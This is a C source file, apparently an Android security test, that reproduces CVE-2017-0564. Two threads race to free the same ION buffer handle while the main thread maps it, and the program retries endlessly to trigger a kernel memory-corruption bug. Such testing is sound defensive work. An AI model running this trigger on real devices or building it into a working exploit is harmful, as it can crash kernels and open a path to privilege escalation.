Home | History | Annotate | Download | only in CVE-2017-0564
      1 /*
      2  * Copyright (C) 2017 The Android Open Source Project
      3  *
      4  * Licensed under the Apache License, Version 2.0 (the "License");
      5  * you may not use this file except in compliance with the License.
      6  * You may obtain a copy of the License at
      7  *
      8  *      http://www.apache.org/licenses/LICENSE-2.0
      9  *
     10  * Unless required by applicable law or agreed to in writing, software
     11  * distributed under the License is distributed on an "AS IS" BASIS,
     12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
     13  * See the License for the specific language governing permissions and
     14  * limitations under the License.
     15  */
     16 #define _GNU_SOURCE
     17 
     18 #include <pthread.h>
     19 #include <stdio.h>
     20 #include <stdio.h>
     21 #include <sys/stat.h>
     22 #include <sys/wait.h>
     23 #include <sys/types.h>
     24 #include <sys/socket.h>
     25 #include <sys/ioctl.h>
     26 #include <sys/time.h>
     27 #include <sys/mman.h>
     28 #include <unistd.h>
     29 #include <string.h>
     30 #include <fcntl.h>
     31 #include <errno.h>
     32 #include <linux/ion.h>
     33 
     34 #define ION_HEAP(bit) (1 << (bit))
     35 
     36 enum ion_heap_ids {
     37     INVALID_HEAP_ID = -1,
     38     ION_CP_MM_HEAP_ID = 8,
     39     ION_SECURE_HEAP_ID = 9,
     40     ION_SECURE_DISPLAY_HEAP_ID = 10,
     41     ION_CP_MFC_HEAP_ID = 12,
     42     ION_CP_WB_HEAP_ID = 16, /* 8660 only */
     43     ION_CAMERA_HEAP_ID = 20, /* 8660 only */
     44     ION_SYSTEM_CONTIG_HEAP_ID = 21,
     45     ION_ADSP_HEAP_ID = 22,
     46     ION_PIL1_HEAP_ID = 23, /* Currently used for other PIL images */
     47     ION_SF_HEAP_ID = 24,
     48     ION_SYSTEM_HEAP_ID = 25,
     49     ION_PIL2_HEAP_ID = 26, /* Currently used for modem firmware images */
     50     ION_QSECOM_HEAP_ID = 27,
     51     ION_AUDIO_HEAP_ID = 28,
     52     ION_MM_FIRMWARE_HEAP_ID = 29,
     53     ION_HEAP_ID_RESERVED = 31 /** Bit reserved for ION_FLAG_SECURE flag */
     54 };
     55 
     56 static unsigned int ion_type[] = {
     57     ION_HEAP(ION_CP_MM_HEAP_ID),
     58     ION_HEAP(ION_CP_MFC_HEAP_ID),
     59     ION_HEAP(ION_SYSTEM_CONTIG_HEAP_ID),
     60     ION_HEAP(ION_ADSP_HEAP_ID ),
     61     ION_HEAP(ION_SF_HEAP_ID),
     62     ION_HEAP(ION_SYSTEM_HEAP_ID),
     63     ION_HEAP(ION_QSECOM_HEAP_ID),
     64     ION_HEAP(ION_AUDIO_HEAP_ID),
     65 };
     66 
     67 #define NEW_ION
     68 int ion_alloc(int fd, int len, int *hdl, unsigned int ion_type)
     69 {
     70     int ret;
     71     struct ion_allocation_data req = {
     72         .len = len,
     73 #ifdef NEW_ION
     74         .heap_id_mask = ion_type,
     75         //.flags = ION_SECURE | ION_FORCE_CONTIGUOUS,
     76         .flags = (1 << 0),
     77         .flags = 0x0,
     78 #else
     79         .flags = ION_SECURE | ION_FORCE_CONTIGUOUS | ION_HEAP(ION_CP_MM_HEAP_ID),
     80 #endif
     81         .align = len,
     82     };
     83 
     84     ret = ioctl(fd, ION_IOC_ALLOC, &req);
     85     if (ret) {
     86         return ret;
     87     }
     88 
     89     *hdl = req.handle;
     90 
     91     return 0;
     92 }
     93 
     94 int ion_free(int fd, int hdl)
     95 {
     96     int ret;
     97     struct ion_handle_data req = {
     98         .handle = hdl,
     99     };
    100 
    101     ret = ioctl(fd, ION_IOC_FREE, &req);
    102     if (ret) {
    103         return ret;
    104     }
    105 
    106     return 0;
    107 }
    108 
    109 int ion_map(int fd, int hdl)
    110 {
    111     int ret;
    112     struct ion_fd_data req = {
    113         .handle = hdl,
    114     };
    115 
    116     ret = ioctl(fd, ION_IOC_MAP, &req);
    117     if (ret) {
    118         return ret;
    119    }
    120 
    121    return req.fd;
    122 }
    123 
    124 int ion_fd;
    125 int ion_handle;
    126 int status[2];
    127 int cmd = 0;
    128 
    129 void *threadForIonFree01()
    130 {
    131     status[0] = 1;
    132 
    133     while (cmd == 0) {
    134         usleep(10);
    135     }
    136     if (cmd == -1)
    137         goto failed;
    138 
    139     usleep(50);
    140     ion_free(ion_fd, ion_handle);
    141 
    142 failed:
    143     status[0] = 2;
    144     return NULL;
    145 }
    146 
    147 
    148 void *threadForIonFree02()
    149 {
    150     status[1] = 1;
    151 
    152     while (cmd == 0) {
    153         usleep(10);
    154     }
    155     if(cmd == -1)
    156         goto failed;
    157 
    158     usleep(50);
    159     ion_free(ion_fd, ion_handle);
    160 
    161 failed:
    162     status[1] = 2;
    163     return NULL;
    164 }
    165 
    166 int main()
    167 {
    168     int ret, i, count;
    169     pthread_t tid_free[2];
    170 
    171     count = 0;
    172 retry:
    173     status[0] = 0;
    174     status[1] = 0;
    175     cmd = 0;
    176     ion_fd = open("/dev/ion", O_RDONLY| O_SYNC, 0);
    177     if (ion_fd < 0) {
    178 	return -1;
    179     }
    180 
    181     for (i=0; i < sizeof(ion_type)/sizeof(ion_type[0]); i++) {
    182         ret = ion_alloc(ion_fd, 0x1000, &ion_handle, ion_type[i]);
    183         if (ret == 0) {
    184             break;
    185         }
    186     }
    187 
    188     if (i == sizeof(ion_type)/sizeof(ion_type[0])) {
    189         goto failed;
    190     }
    191 
    192     ret = pthread_create(&tid_free[0], NULL, threadForIonFree01, NULL);
    193     if (ret != 0) {
    194         goto failed;
    195     }
    196 
    197     ret = pthread_create(&tid_free[1], NULL, threadForIonFree02, NULL);
    198     if (ret != 0) {
    199         cmd = -1;
    200         goto failed;
    201     }
    202 
    203     while (status[0] != 1 || status[1] != 1) {
    204         usleep(50);
    205     }
    206 
    207     cmd = 1;
    208     ret = ion_map(ion_fd, ion_handle);
    209 
    210     while (status[0] != 2 || status[1] != 2) {
    211         usleep(50);
    212     }
    213 
    214 failed:
    215     ion_free(ion_fd,ion_handle);
    216     close(ion_fd);
    217     goto retry;
    218 
    219     return 0;
    220 }
    221 
    222